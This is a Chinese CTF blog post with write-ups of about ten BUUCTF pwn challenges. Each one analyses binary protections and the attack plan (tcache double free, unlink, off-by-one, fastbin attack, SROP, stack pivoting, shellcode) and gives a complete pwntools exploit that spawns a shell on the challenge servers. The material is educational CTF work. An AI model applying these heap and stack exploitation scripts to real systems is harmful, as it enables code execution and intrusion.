2021-09-13 BUUCTF PWN
文章目录
ciscn_2019_final_3
0x00 题目分析
方式:
libc2.27题目
- 利用tcache机制申请超过0x400大小的堆泄露unsorted bin地址
- Double Free使fast bin单链表形成回环结构,任意写GOT地址数据
拖进IDA静态分析程序主功能逻辑,很简单的堆模板:
只有2个功能:
- 创建堆
- 释放堆
查看保护情况:
[*] '/root/ciscn_final_3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,题目的提示Ubuntu18+libc是2.27版本,可联想到unsorted bin的新特性
必须申请超过0x400大小的堆才能产生unsorted bin地址
同时释放堆时未堆清空,会造成堆叠的情况
创建堆后会给出堆的地址;
0x02 利用思路
WP提示:
利用Libc2.27的tache机制,并且可直接double free的特性
整体思路:
- 泄露Unsorted bin地址,计算libc基地址
- 申请到超过 0x400 大小(libc2.27的tcache特性)
- Double Free List(DUP),使堆块形成双链回环
- 修改malloc_hook为onegadget
Double Free也类似与fast bin dup
在lib2.27中,可直接double free,导致tcache bin的next指针(fd指针)指向了自己(回环)
0x02 EXP
from pwn import *
io=remote('node4.buuoj.cn',27848)
libc=ELF('./x64/libc.so.6')
def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)
def free(idx):
io.recvuntil('choice > ')
io.sendline('2')
io.recvuntil('the index')
io.sendline(str(idx))
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup double free
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7 从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8 get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9 get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')
io.interactive()
hitcon2014_stkof
0x00 题目分析
方式:
- 堆溢出unlink
- 任意写GOT数据
拖进IDA查看程序基本的逻辑:
很明显的堆题模板
查看一下保护情况:
[*] '/root/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以修改GOT,同时PIE未开启,这表明了我们可以更加简单去利用漏洞
堆题先看看有没有堆溢出漏洞
仔细分析,很明显在edit_note可以发现任意长度写的堆溢出漏洞
0x01 利用思路
漏洞、特征分析:
- 堆溢出,任意长度读入,典型的漏洞
- 没有输出
整体思路
- 考虑堆溢出、unlink,修改got表
- 先把free_got改puts,泄露libc地址计算shell函数地址
- 把free got改system/onegadget
可以清晰看到,unlink堆块3后,堆块1、2的内容地址被改写为伪造的fd与bk
0x02 EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/stkof"
p=remote("node4.buuoj.cn",27015)
libc=ELF("./x64/libc-2.23_buuctf.so")
#p=process(name)#
elf=ELF(name)
def create(size):
p.sendline('1')
p.sendline(str(size))
def edit(idx,len,content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len))
p.send(content)
def free(idx):
p.sendline('3')
p.sendline(str(idx))
ptr=0x0000000000602150
fd=ptr-0x18
bk=ptr-0x10
create(0x80)#1
create(0x30)#2
create(0x80)#3
create(0x80)#4
fakechunk=p64(0x0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)+p64(0)+p64(0x30)+p64(0x90)
edit(2,0x40,fakechunk)
free(3)#unlink
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got["puts"]
puts_plt = elf.symbols['puts']
py1 = b''
py1 += p64(0)
py1 +=p64(atoi_got) + p64(puts_got) #fake chunk0 and 1
py1+= p64(free_got)#fake chunk 2 wait pointers
edit(2,len(py1),py1)## edit heap original datas
py1 = b''
py1+= p64(puts_plt)
edit(2,len(py1),py1)## edit heap original datas
pause()
free(1)
leak=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))#从倒数6到最后\x7f
log.success("leak => {}".format(leak))
libc_base=leak-libc.sym["puts"]
one_gadget=libc_base+0x4526a
py1 = b''
py1+= p64(one_gadget)
edit(0,len(py1),py1)## hijack atoi
#pause()
p.interactive()
hitcontraining_heapcreator
0x00 题目分析
方式:
- Offbyone套路修改size导致堆叠泄露unsorted bin地址
- 堆叠修改堆指针为GOT,任意写GOT为system地址Getshell
拖进IDA静态分析,主功能很清晰,一个堆题模板:
查看一下保护情况:
[*] '/root/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以发现GOT是可写的,同时PIE未开启,那说明我们利用的方式会更加简单
按照堆题套路,一般是先找有没有堆溢出的漏洞,很明显在edit_note函数可以发现off by one
的漏洞
0x01 利用思路
这道题堆结构特征是一创建2个堆
- 长度地址
- 内容地址
堆题多做,多见见,多调试调试,慢慢就明白了,别急,一步步来
整体思路:
- 结合off by one套路改size位,堆叠
- 堆叠后泄露got地址,改got
- 利用该题特征,可直接堆溢出改写内容地址为GOT实现任意地址写
Off By One套路:
通常,会申请0x18,结合off by one的漏洞,可将溢出写到size位
然后释放,再申请,就成功堆叠后门的堆块
0x02 EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/heapcreator"
p=remote("node4.buuoj.cn",29714)
libc=ELF("./x64/libc-2.23_buuctf.so")
#p=process(name)#
elf=ELF(name)
def create(size, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.send(content)
def edit(idx,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil('Content of heap : ')
p.send(content)
def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil("Index :")
p.sendline(str(idx))
def delete(idx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil("Index :")
p.sendline(str(idx))
create(0x18,b'aaa')#申请0x18,会溢出,实际是0x20,溢出1位会直接写到size位
create(0x10,b'bbb')
create(0x10,b'ccc')
create(0x10,b'sh\x00')
payload=b"a"*(0x18)+p8(0x81)#size位改写
edit(0,payload)
delete(1)
payload=b"a"*(0x40)+p64(0x8)+p64(elf.got["free"])#改chunk2内容、并且修改字符串指针
create(0x70,payload)#泄漏got
show(2)
p.recvuntil("Content : ")
leak=u64(p.recvuntil("Done")[:-5].ljust(8,b"\x00"))
libc_base=leak-libc.sym["free"]
system_addr=libc_base+libc.sym["system"]
edit(2,p64(system_addr))
delete(3)
#print("pid:"+str(p.pid))
#pause()
p.interactive()
0CTF-2017-BABYHEAP
0x00 题目分析
利用方式:
- 堆溢出制造堆叠泄露unsorted bin地址
- 利用fast bin attack任意写fd指针
拖进IDA静态分析查看,很明显的堆题模板:
先查看保护情况:
[*] '/root/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
好家伙,全开,那我们必定是需要泄露libc地址
同时,一般堆题是以堆溢出为出发点,在修改内容功能发现堆溢出的漏洞(任意设定读入长度)
于是…开始动手吧~
0x01 利用思路
整体思路
- 堆溢出泄露libc(unsorted bin)地址
- 堆溢出修改size位,使程序堆叠,泄露unsorted bin地址
- Fast bin attack修改fd指针任意地址写
- 利用堆溢出任意写fd为malloc_hook-0x23
- 申请任意地址堆,任意写
__malloc_hook
间接getshell
疑问:
为什么要写malloc-0x23的地址?
目的是为了过malloc时的检查机制,会检查size位是否足够去申请新堆(合法)
同时malloc-0x23的数据是0x7f
,刚好可以让我们申请一个0x60(0x70)的堆
0x02 EXP
第一部分
1.用堆溢出制造堆叠(overlap),导致堆1与堆2重叠(包含了系统的头部)
2.利用堆叠和程序输出功能,输出unsorted bins 地址(在堆2的header部分)
第二部分
3.利用泄漏的地址unsorted bins去偏移找到__malloc_hook地址
4.利用fast bin attack修改 fd 任意写__malloc_hook地址
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']#cmd : tmux
isLocal=0
filename="/root/babyheap_0ctf_2017"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
pause()
else :
p=remote("node4.buuoj.cn",28143)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(size):
ru("Command: ")
sl('1')
ru("Size: ")
sl(str(size))
def free(index):
ru("Command: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Command: ")
sl('2')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sl(content)
def dump(index):
ru("Command: ")
sl('4')
ru("Index: ")
sl(str(index))
malloc(0x80)
malloc(0x80)
malloc(0x80)
malloc(0x80)
free(1)
#堆溢出
payload=b'a'*0x88+p64(0x121)
edit(0,len(payload),payload)#堆溢出 修改了堆1的 系统size区域
malloc(0x110)#重新申请0x110 申请回chunk1=0x110
payload=b'a'*0x88#堆溢出到下一块系统区域
payload+=p64(0x91)#堆溢出将chunk2改回了0x80(系统占用0x10+使用标志位0x01)
edit(1,len(payload),payload)
free(2)
#pause()#此时有unsorted bins了
dump(1)## show 1
leak_addr=p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")
malloc_hook=u64(leak_addr)-88-0x10#main_arena
print("format leak_unsorted_bins ==> {}".format((leak_addr)))
libc_base=malloc_hook-libc.symbols['__malloc_hook']
log.success("libc_base -> {}".format(hex(libc_base)))
#篡改malloc_hook实现shell
malloc(0x80) ## 重新申请回chunk2
malloc(0x60) ## 新堆chunk4
malloc(0x60) ## 新堆chunk5
free(5)## free 5
payload=b'a'*0x68 +p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload),payload)#溢出写。将chunk5fd改写为自定义地址
malloc(0x60) #重新申请回chunk5
malloc(0x60) #新堆chunk6
if isLocal:
one_gadget=libc_base+0x4527a
else:
one_gadget=libc_base+0x4526a
payload=b'a'*0x13+p64(one_gadget)
edit(6,len(payload),payload)#更改malloc_hook的地址为One_gadget
malloc(0x10)
p.interactive()
N1BOOK-note
0x00 题目分析
方式:
- 利用libc2.27特性申请超过0x400大小生成unsorted bin地址并泄露
- (Fast bin Attack)通过
Double Free List
使fast bin 制造单链表回环结构导致任意写地址
拖进IDA静态分析一下主程序的逻辑:
一个典型的堆模板
- 创建内容
- 输出内容
- 删除内容
- 修改内容
同时 查看一下保护情况:
[*] '/root/note'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
可以修改GOT,但PIE是开启的。
我们假设利用后getshell的思路:
- 泄露libc基地址
- 改GOT表数据为getshell函数地址
但如何去泄露libc地址?进一步分析一下
程序没有什么明显的堆溢出漏洞,但是很明显在删除功能有一个漏洞
程序只将地址释放了,并没有清空堆地址,这样重新申请会导致堆叠(新堆利用了以前的地址)
同时题目提示的环境是libc 2.272,在libc2.27下堆的unsorted bin有一个新特性
- 必须当堆申请的空间超过0x400(1024)时才会产生unsorted bin
那么我们就必须要申请一个超过0x400大小的堆块去泄露unsorted bin地址
具体的利用思路↓
0x01 利用思路
整体思路:
- 利用程序释放逻辑漏洞泄露unsorted bin地址
- 构造fast bin attack
- 利用Double Free List制造单链回环结构使任意指针地址数据改写
- 任意写
__free_hook
- 任意写
- 利用Double Free List制造单链回环结构使任意指针地址数据改写
0x02 EXP
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=1
filename="/root/note"
if isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
p=process(filename,env={"LD_PRELOAD" : "/root/exp/buuctf/x64/libc-2.272.so"})
else :
p=remote("node4.buuoj.cn",25304)
elf=ELF(filename)
def create(size,content):
p.recvuntil('choice>>')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.send(content)
def print(idx):
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil('choice>>')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))
p.send(content)
def free(idx):
p.recvuntil('choice>>')
p.sendline('4')
p.recvuntil(':')
p.sendline(str(idx))
create(0x30,b'aaa\n')#0
create(0x30,b'bbb\n')#1
create(0x450,b'xxxx\n')#2
create(0x30,b"/bin/sh\n")#3
free(2)
print(2)
leak_ub=u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_ub - 0x3ebca0
free_hook = libc_base +4118760
system = libc_base+324672
#double free list 典型的利用方法 制造单链回环结构
free(0)
free(1)
free(0)
edit(0,p64(free_hook)+b'\n')
create(0x30,p64(system)+b'\n')
create(0x30,p64(system)+b'\n')
free(3)
ciscn_s_9
0x00 题目分析
分析程序逻辑,非常明显可以看到fgets是有栈溢出的漏洞
同时有一个Hint函数:
暗示我们要jmp esp?看看保护情况
[*] '/root/ciscn_s_9'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
NX未开启,可任意执行代码
于是…你可以↓
0x01 利用思路
整体思路
- 制造shellcode
- 栈溢出rop移动esp位置实现任意代码执行
- sub 可前移
- jmp 可跳转ASM代码段
0x02 EXP
#coding:utf8
from pwn import *
context.log_level="debug"
context.arch="i386"
context.os="linux"
name="/root/ciscn_s_9"
p = remote("node4.buuoj.cn",27594)#process(name)#remote("node4.buuoj.cn",25045)#
elf=ELF(name)
shellcode=asm("xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov eax,11;int 0x80")
print("len"+str(len(shellcode)))
sub_esp=asm('sub esp,40;jmp esp;')#前移堆栈,并跳入(jmp esp,eip=esp)
jmp_esp_gadget=0x08048554
shellcode=shellcode.ljust(0x24,b"\x90")
payload=shellcode+p32(jmp_esp_gadget)+sub_esp#先跳入esp,再执行sub_esp,再移动esp跳入esp执行shellcode
p.sendline(payload)
p.interactive()
ciscn_2019_es_7
0x00 题目分析
分析程序流程,很容易发现在vuln函数存在栈溢出
漏洞
读入了1024字节到数组长度为16的变量上
同时发现一个额外未调用的后门函数
mov rax,15
意思是将返回值设置为15,但在syscall中,是[[SROP]]利用的标注
SROP:
32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
其中,sigreturn
是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。
首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息
当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。
具体原理可以查看资料:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/
通俗用我自己理解的话来讲,就是你控制了程序的栈(栈溢出后)
使得Signal Frame可以被任意篡改,在执行Signal时,系统会用pop恢复传入Signal Frame的参数以便于恢复程序自身寄存器的值(包括了RIP),这时我们就相当于控制了程序流了。
目前在pwntools中,已经集合了SROP的使用方法,使该漏洞利用的非常的简单。
相关例题:ciscn_2019_s_3
0x01 利用思路
模型识别:[[SROP]]
栈溢出后构造srop
整体思路:
- 泄露ebp计算
/bin/sh
地址 - srop套路修改控制程序流
0x02 EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/ciscn_2019_n_5"
p = remote("node4.buuoj.cn",27523)
srop_mov_rax_15gadget=0x0000000004004DA
syscall_gadget=0x000000000400517
main_addr=0x4004F1
payload=b"/bin/sh\x00"*2+p64(main_addr)
p.send(payload)
leak=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
s=SigreturnFrame()
s.rax = 59
s.rdi = leak-280
s.rsi = 0
s.rdx = 0
s.rip=syscall_gadget
payload=b"/bin/sh\x00"*2+p64(main_addr)
payload+=p64(srop_mov_rax_15gadget)#set rax=15 srop
payload+=p64(syscall_gadget)+bytes(s)
p.send(payload)
p.interactive()
wustctf2020_closed
0x00 题目分析
程序逻辑非常清晰明了:
目的:
- 关闭fd为1、2的管道,getshell
这边插播介绍一下fd
fd | 解释 |
---|---|
0 | 输入流 |
1 | 输出流 |
2 | 错误流 |
3+ | 文件号/自定义 |
意思就是关闭了输出、错误流,在实际调试中,我们也发现,可以正常输入,但是并没有回显任何内容。
这边有个新知识:
linux命令:重定向fd(输入号改为输出号)
exec 1>&0
0x01 利用思路
因为0是没有关闭的,将输入与输出流合并在一起,就可以实现两项功能。
0x02 EXP
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/roarctf_2019_easy_pwn"
if isLocal:
libc=ELF("./x64/libc-2.23_buuctf.so")
p=process(filename,env={"LD_PRELOAD" : "./x64/libc-2.23_buuctf.so;./libc-2.23_buuctf.so"})
else :
p=remote("node4.buuoj.cn",29917)
libc=ELF("./x64/libc-2.23_buuctf.so")
p.sendline(b"exec 1>&0")
p.interactive()
pwnable_start
0x01 题目分析
拖进IDA看,程序的代码非常简短,主逻辑
主要的逻辑:
- 会调用sys_write函数输出esp的值
- esp的值就是push的值,一段段翻译成字符串就是
Let's start the CTF:
- esp的值就是push的值,一段段翻译成字符串就是
- 随后是一个并不成型的命令
- 将ebx清空
- dl=0x3c(60)
- al=3
- sys_call
- esp移动位置+0x14(20)
在动态调试后,我们可以看到esp+0x14h,就是返回地址
利用这个特性,我们可以猜想可以使用shellcode跳转,泄露esp地址,将shellcode写到栈上,再返回到栈地址上
保护情况:
root@ubuntu:~## pwn checksec start
[*] '/root/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
很明显,NX未开启,是可以任意执行shellcode的。
动手!
0x01 利用思路
整体思路:
- 通过ROP返回到
mov ecx, esp
处泄露esp地址 - 传入shellcode,ROP返回到栈上的shellcode代码开始地址。
x86_32下的shell(与x64不同)
execve(path='/bin///sh', 0, envp=0)
翻译成asm代码:
xor ecx,ecx; #ecx设置为0
xor edx,edx; #edx设置为0
push edx; #将edx的值压入栈
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp; #将ebx设置为’/bin/sh‘的16进制
mov eax,11; #eax设置为0xb,调用execve
int 0x80
int 0x80约等于syscall(是x86的独有sys_call风格)
eax是调用号
ebx是调用参数
ecx、edx为0(对应argv、env)
0x02 EXP
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="i386"
isLocal=0
filename="/root/start"
if isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
pause()
else :
p=remote("node4.buuoj.cn",27125)
elf=ELF(filename)
#泄露stack地址
shellcode=asm(
"xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov eax,11;int 0x80")
print("len"+str(len(shellcode)))
p.send(b"a"*20+p32(0x08048087))
p.recvuntil(b"CTF:")
leak_stack=u32(p.recv(4))
print(hex(leak_stack))
#相当于jmp stack执行shellcode,任意执行代码
p.send(b"a"*20+p32(leak_stack+20)+shellcode)
p.interactive()
ciscn_s_4
0x00 题目分析
拖进IDA静态分析
vuln函数,存在栈溢出的漏洞:
hack函数(未调用)存在一个system的后门调用
很快的,你可能会有这样的思路:
- 栈溢出返回到hack函数getshell
但是实际去调试会发现,溢出的空间不算ebp仅仅只有4字节,完全不够我们利用ROP
怎么办呢?我们可以利用将rop的payload写到溢出空间前,溢出时跳转到溢出空间前的地址
如何实现?
——这种技术叫做[[栈迁移]]
介绍一下大概的利用思路:
- 通过泄露ebp地址,固定计算payload存放地址的偏移位置
- 利用
leave
的特性,移动rsp地址,并跳转程序指令流到rsp
具体原理可以在我以前的文章搜索,这边只做简单介绍。
0x01 利用思路
熟悉的坑 不掉第二次啦~
整体思路:
- 泄露ebp去计算payload地址
- 构造ROP的payload、制造栈迁移,修复栈getshell
0x02 EXP
动态调试时注意的点:
- 必须要填充ebp前的位置,程序才会输出ebp的地址(防止遇\x00截断)
- 注意构造payload填充时,不要把换行填进去(习惯)
\x0a \n
- leave的特性往往会跳转到
地址+4
的代码
#coding:utf8
from pwn import *
context.log_level="debug"
context.arch="i386"
context.os="linux"
name="/root/ciscn_s_4"
p = remote("node4.buuoj.cn",25045)#process(name)#remote("node4.buuoj.cn",25045)#
elf=ELF(name)
#
system_addr=elf.plt["system"]#0x08048559
leave_gadget=0x080484b8## : leave ; ret
ret_nop=0x080483a6## : ret
main_addr=0x804862A#elf.sym["main"]
payload=b"a"*(0x20)+b"bbbbbbbb"#必须填充ebp才会输出ebp
p.sendafter(b"?",payload)#注意换行\x0a算1字节 会覆盖ebp1字节 掉了很多次坑了。。
p.recvuntil("bbbbbbbb")
leak_ebp=u32(p.recv(4))
print("leakebp => {}".format(hex(leak_ebp)))
pause()
sleep(0.5)
payload=(b'a'*8+p32(leak_ebp-0x24)+b'bbbb'+p32(system_addr)+b'cccc'+p32(leak_ebp-0x1c)+b'/bin/sh\x00').ljust(0x28,b'p')
payload+=p32(leak_ebp-0x2c)+p32(leave_gadget)
p.send(payload)
p.interactive()
others_babystack
0x00 题目分析
拖进IDA静态分析,分析main的逻辑
功能逻辑:
- 输出
- 读一个0x100(溢出)的长度数据到变量s
- 返回
查看一下保护情况:
[*] '/root/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
结合上述,主要利用的思路:
- 先泄露canary值,以便过栈溢出检查
- ROP,泄露Libc地址,getshell
0x01 利用思路
整体思路:
- 栈溢出ROP
- 泄露canary值
- rop泄露libc地址
- rop返回到OneGadget地址
注意的点:
- 在填充ROP中,可以使用
ret;
单个gadget片段去填充,不执行任何代码但填充溢出空间(相当于nop)
0x02 EXP
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/babystack"
if isLocal:
p=process(filename)#
else :
p=remote("node4.buuoj.cn",29843)
elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")
pop_rdi=0x0000000000400993 #: pop rdi ; ret
puts_plt = elf.plt['puts']
read_got = elf.got['read']
main_addr = 0x0000000000400908#elf.sym['main']
pop_rdi_ret=0x0000000000400a93#: pop rdi ; ret
ret_gadget=0x000000000040067e #: ret
payload = b'a' * 135+b"F"#利用溢出刚好Puts canary值+做个标记指
#step1 : leak gs
p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'2')
p.recvuntil(b'F\x0a')
canary=p.recv(7).rjust(8,"\x00")
#print("canary => "+canary)
#step2:leaklibc
payload = b'a' * 135+b"F"#利用溢出刚好Puts canary值+做个标记指
payload+=canary
payload+=p64(ret_gadget)#约等于nop
payload +=p64(pop_rdi_ret)+p64(read_got) #赋值参数
payload+=p64(puts_plt)
payload+=p64(main_addr)#fix rop返回地址在这(调用puts的rbp是返回地址)
p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'3')
read_addr=u64(p.recv(6).ljust(8,b"\x00"))#0 padding (right padding 0) !!!!
print(b"leadaddr:"+str(read_addr).encode())
libc_base = read_addr - libc.sym['read']
print("base:"+hex(libc_base))
one_gadget=libc_base+0x4526a
#step3:getshell
payload = b'a' * 135+b"F"#利用溢出刚好Puts canary值+做个标记指
payload+=canary
payload+=p64(ret_gadget)#约等于nop
payload +=p64(ret_gadget)+p64(ret_gadget) #修复堆栈填充
payload +=p64(one_gadget)
payload+=p64(main_addr)#fix rop返回地址在这(调用puts的rbp是返回地址)
p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'3')
p.interactive()
## ubuntu 16 : libc2.23 easygame~